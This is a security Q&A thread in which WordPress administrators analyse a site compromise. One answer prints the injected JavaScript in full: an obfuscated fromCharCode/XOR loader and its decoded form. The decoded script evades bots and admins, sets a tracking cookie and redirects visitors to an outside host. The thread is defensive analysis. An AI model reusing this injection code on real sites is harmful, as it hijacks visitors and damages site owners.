8

One of our customer's site turned into a broken state. Most of the content (which is in Japanese), turned something like this: 会�����案内 (which originally was: 会社案内. Checking on the code, there is no clue that is an encoding problem, but it seems to me that something changed the content deliberately.

At the bottom of the page, it shows these comments (actual values):

<!-- /* 15pJQhrPh3XJCUOiaQCa62html */ -->
<!-- F85FQXHZqA -->
<!-- /* 1uqjsQSyWVhmOHAEVa1i62html */ -->

I searched those strings and it seems other sites are showing the same codes (few though). All of them looks like hacked, but only one shows "�" signs. When recovering the website from a backup, I can confirm those comments where not there.

Probably this question is related to this one : Hacked HTML page - what's in the comment following the obfuscated code?

However these strings are not encoded in the same way and not JS is included nor <b1> tag.

I don't think its a ramsomware as it is not all encrypted, it seems to me more like vandalism through injection. About the codes on the bottom, it could be a kind of ID, to see which sites has been "done" already.

I run it through some online malware-check sites and showed nothing.

What is the purpose of it? Anyone here knows what kind of attack it is?

  • Why the downvote? If my question is not clear, help me to improve it. – lepe Aug 3 '16 at 3:56
  • 2
    Since you mention this is a wordpress website, have you run a scan with the Wordfence plugin? It will check your wordpress installation for any suspicious changes. – tlng05 Aug 3 '16 at 6:41
  • No, we are not using that plugin, but now that you say, I will try it. It could be very useful. Thank you! – lepe Aug 3 '16 at 6:43
  • If you do use Wordpress I suggest using this problem as a reason to move off that awful platform onto something more safe (perhaps a static website if you do not need dynamic functionality?). WP should be considered compromised from the second it is installed, it is a really awful piece of software. – André Borie Aug 3 '16 at 6:56
  • @Andre: I agree with you, but moving 400+ sites its not an easy task. Each WP site is running in its own container but it can not prevent vulnerabilities like this one. :S – lepe Aug 3 '16 at 7:08
11

After checking the websites which contained such comments, I found that all of them are Wordpress sites. 3 of them contained an injected Javascript (in our site, all javascript is removed from posts, so maybe that is why that code was not successfully injected). The obfuscated code looks like:

(new Function(String.fromCharCode(19 - 9, 126 - 8, 100 - 3, 122 - 8, 37 - 5, 109 - 2, 104 - 3, 129 - 8, 36 - 4, 67 - 6, 34 - 2, 41 - 2, 106 - 2, 113 - 9, 94 - 8, 123 - 9, 123 - 2, 83 - 4, 130 - 9, 94 - 9, 112 - 2, 80 - 7, 43 - 4, 64 - 5, 15 - 5, 119 - 1, 104 - 7, 122 - 8, 38 - 6, 102 - 1, 111 - 1, 106 - 7, 108 - 7, 109 - 9, 35 - 3, 63 - 2, 41 - 9, 48 - 9, 85 - 4, 74 - 9, 60 - 8, 114 - 8, 76 - 4, 67 - 1, 119 - 8, 57 - 2, 78 - 9, 73 - 5, 118 - 7, 70 - 5, 100 - 3, 89 - 8, 111 - 4, 101 - 3, 86 - 9, 112 - 4, 113 - 1, 84 - 3, 106 - 8, 125 - 6, 76 - 2, 110 - 8, 89 - 5, 112 - 3, 115 - 8, 105 - 4, 68 - 1, 88 - 5, 83 - 1, 85 - 2, 71 - 3, 112 - 8, 74 - 9, 92 - 6, 80 - 1, 107...

After decoding it, it becomes:

var key = 'hhVryOyUnI';
var enced = 'QA4jHBo7EDoAaQkbMlpQbwJfTmkeCSRSDhAVOg0oHAE5HFlyWXIGPRwYbF1WOQA9GytGCzkfViwKJkEqGxt5VUJFWXUYKBpINR0WJBAwTnRITy8rEz0YYT4KC1A9HzsHHCYdeAEKcUlzRVl1CDwGCyIbFiFZJhooGhx+W1k0c3VOaUgeNwBZLBY6BSANG3ZPWSsWNhskDQYiXBogFj4HLEgUKlJeaEJfTmlISD8UWWcaOgEiAQ0lXBAhHTAWBg5ANR0WJBAwR2lJVWtSVH5QdRVDSEh2UllvCzAaPBoGbXhZb1l1E0NISHZSEClZfQ0mBwM/FwphEDsKLBAnMFpeOAl4HSwcHD8cHjxefE5oVVV2X0hmWS5kaUhIdlJZPRwhGzsGU1xSWW9ZKGRpSEh2Gx9vUTkBKgkEBQYWPRgyC2cPDSI7DSoUfQ0mBwM/F1BvRGhTaU9ZcVtZNHN1TmlISHYAHDsMJwByYkh2Ulkyc3VOaUgeNwBZOhgyCyccSGtSFy4PPAkoHAckXAw8HCcvLg0GIklzb1l1TiAOSH5TDC4eMAA9QUgteFlvWXVOaRoNIgcLIUJfTmlISCt4c29ZdU48CQ8zHA1vRHUbKA8NOAZXOxYZAT4NGhUTCipRfFVDSEh2UhApWX0bKA8NOAZXJhcxCzEnDn5VHiAWMgIsT0F2U0RyWXhfQ0hIdlJZb1l1EjVIHTcVHCENewcnDA0uPR9nXjcBPU9BdlNEcll4X0NISHZSWW9ZdRI1SB03FRwhDXsHJwwNLj0fZ142HCgfBHFbWW5EaE5kWWJ2UllvWXVOaRQUdgcYKBw7GmcBBjIXAQAffUkrAQYxVVBvWGhTaUVZXFJZb1l1TmlIFCpSDC4eMAA9RgE4Fhw3NjNGbhEJPh0WaFB1T3RVSHtDUG8CX05pSEh2UgsqDSAcJ1NidlJZbwRfZGlISHYBHDstPAMsBx0iWh86FzYaIAcGfltZNHN1TmlISHYBHDs6OgEiAQ1+ERYgEjwLZUhPZ0BKaFV1WXpYQW14WW9ZdU5pBAc1ExUcDTocKA8NeAEcOzAhCyRACzkdEiYceU5uWU9/SXNvWXVOaUgfPxwdIA57AiYLCSIbFiFZaE4+NwQ5ERg7EDoAcmJIdlJZMlV1XHlIQnZDSX9JfFVDSEgreFlvHyAAKhwBORxZPBwhLSYHAz8XUSwmOw8kDUR2BBgjDDBCaQ0QMhMAPFB1FUNISHZSDy4LdQsxDAkiF1lyWTsLPkgsNwYcZ1BuZGlISHYXASsYIQtnGw0iNhg7HH0LMQwJIhdXKBwhKigcDX5bWWRZMBYtCRElW0JFWXVOaR4JJFIaEA80AjwNSGtSHDwaNB4sQB43HgwqUHVFaUBAMwodLgAmTnRVSDgHFSNQdVFpT092SFloQnULMRgBJBcKcl51RWkNEDITDSpXIQEcPCsFBgsmFzJGYEFTXFJZb1kxASodBTMcDWEaOgEiAQ12T1ksJjsPJA1IfVJecl51RWkLNyATFTocbmRpSBVceFlvDzQcaRoNNxYAHA00GiwrADMREgYXIQs7Hgk6UkRvCjAaAAYcMwAPLhV9CDwGCyIbFiFRfE4yYkh2UlkmH3VGLQcLIx8cIQ17HCwJDC8hDS4NME50VVV2VRogFCUCLBwNcXhZb1l1TmlISCoOWSsWNhskDQYiXAsqGDEXGhwJIhdZckR1SSAGHDMAGCwNPBgsT0F2CXNvWXVOaUgLOhcYPTA7GiwaHjceUT0cNAowOxw3BhwMETANIiEGIhcLORg5R3JiSHZSWW9ZJhooGhx+W0JFWXVOaRVidlIEY1lkXmBTYlwPUWZQbmRD';
function xor_enc(string, key) {
  var res = '';
  for (var i = 0; i < string.length; i++) {
    res += String.fromCharCode(string.charCodeAt(i) ^
                                key.charCodeAt(i % key.length));
  }
  return res;
}

var dec = xor_enc(atob(enced), key);
(new Function(dec))();

After further decoding:

(function asd() {
  var w_location = 'http://vyhub.com/css/css/';
  var cookie = 'yYjra4PCc8kmBHess1ib';

  function start() {
    var cookies = document.cookie || '';
    if (cookies.indexOf(cookie) !== -1) {
      return;
    }
    if (cookies.indexOf('wp-settings') !== -1) {
      return;
    }
    if (localStorage.getItem(cookie) === '1') {
      return;
    }
    var uagent = navigator.userAgent;
    if (!uagent) {
      return;
    }

    uagent = uagent.toLowerCase();
    if (uagent.indexOf('google') !== -1
        || uagent.indexOf('bot') !== -1
        || uagent.indexOf('crawl') !== -1
        || uagent.indexOf('bing') !== -1
        || uagent.indexOf('yahoo') !== -1) {
      return;
    }

    setTimeout(function() {
      setCookie(cookie, '123', 730);
      localStorage.setItem(cookie, '1');
      window.location = w_location;
    }, 20 * 1000);
  }
  function setCookie(c_name, value, exdays) {
    var exdate = new Date();
    exdate.setDate(exdate.getDate() + exdays);
    var c_value = escape(value) + ((exdays == null) ? '' : '; expires=' + exdate.toUTCString());
    document.cookie = c_name + '=' + c_value;
  }

  var readyStateCheckInterval = setInterval(function() {
    if (document.readyState === 'complete'
        || document.readyState == 'interactive') {
      clearInterval(readyStateCheckInterval);
      start();
    }
  }, 10);

}());

What I can get from that code is:

It does not run if a bot is the user agent (e.g. google, yahoo...) or if you are running as admin/editor? (I couldn't find about wp-settings cookie).

After 20 seconds: It setups a cookie with name "yYjra4PCc8kmBHess1ib" for the attacked domain, with value "123" and stores in local storage such key with value 1. (key must be different per site, to identify it)

After that, it will redirect your site to: http://vyhub.com/css/css/

That's it.

About "vyhub.com":

The front page shows: "Its Working...!" It is registered with godaddy.com, but not further information is available. The server is located in Singapore. http://vyhub.com/css/css/ takes you to http://loveo.com

About "loveo.com":

Its a dating site located and registered in US.

So what I see from this, is that they use a Wordpress vulnerability to inject a JS which will redirect visitors into loveo.com.

Bad business...

Encoding problem:

The problem with the encoding could be related to other reasons: perhaps the code who injects the code altered the original content intentionally (vandalism) or unintentionally (they don't handle unicode very well).

Action taken:

Logs didn't show anything suspicious (so far), so we run some security checks at the server and all seems in place. After recovered from a backup, we updated wordpress (it was slightly outdated) + plugins and changed passwords.

  • If you must use WP I'd recommend at least switching its directory and database read-only, to make sure future attacks have no way to persist. Of course the correct response would be to stop using WP. – André Borie Aug 3 '16 at 6:59
  • 1
    All that effort to xor and they didn't bother to clouser/uglify the attack code first? lame... I also like the W3fools cut and paste cookie functions, not... – dandavis Aug 3 '16 at 18:02
0

I found this exact same script in nearly every page on my website. I believe what happened is an editor / author's account credentials were compromised, and the hacker/bot logged in to my wordpress as this user, and added this code to every page and post on my site.

How I discovered it:

  1. I exported my database to a .sql file and ran a text search for a chunk of the script. 8500+ matches, seemingly all in the wp_posts table.

  2. I looked at the edit history of each post/page, and all of a sudden 3 months ago, there were 30+ edits by a user that hasn't been with my company in 2 years. I believe his password was stolen/compromised.

Hopefully this helps someone who is trying to figure out how they got compromised.

  • 3
    "there were 30+ edits by a user that hasn't been with my company in 2 years" - then the issue is that you're not adequately managing the site - not that someone's account was compromised. I sympathize with Andre's comments earlier; Wordpress is not a great platform to start building something secure on. But with good management you can get something which is reasonably robust. OTOH if you're not managing user accounts, then you're probably not managing the patches and other controls that should be de rigeur. – symcbean Oct 12 '16 at 15:23
-2

it seems you must check your encoding when you saving the html page,

i think its all about your encoding not hacking issues,

do not save your html page as ANSI encoding and save it as UNICODE,

then add this meta tag to header of your html page:

meta charset="UTF-8"

  • This is a wordpress website. We have 400+ websites like that one (also in Japanese) and we have never run into a problem like this. If it were an encoding problem, it would have been the whole page, not within a word. The html looks like: <p>会�����案内</p>. There is no way a wrong encoding could produce such thing (as the other parts of the word are correct). That is why I think it must have been deliberately. – lepe Aug 3 '16 at 5:18
  • @lepe I think what happened is that you have some malicious code running before the Wordpress code that is outputting perhaps the wrong encoding header, or outputs some characters in a different language and the browser guesses the encoding according to that (but that encoding ends up being wrong for Japanese characters). – André Borie Aug 3 '16 at 6:58

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.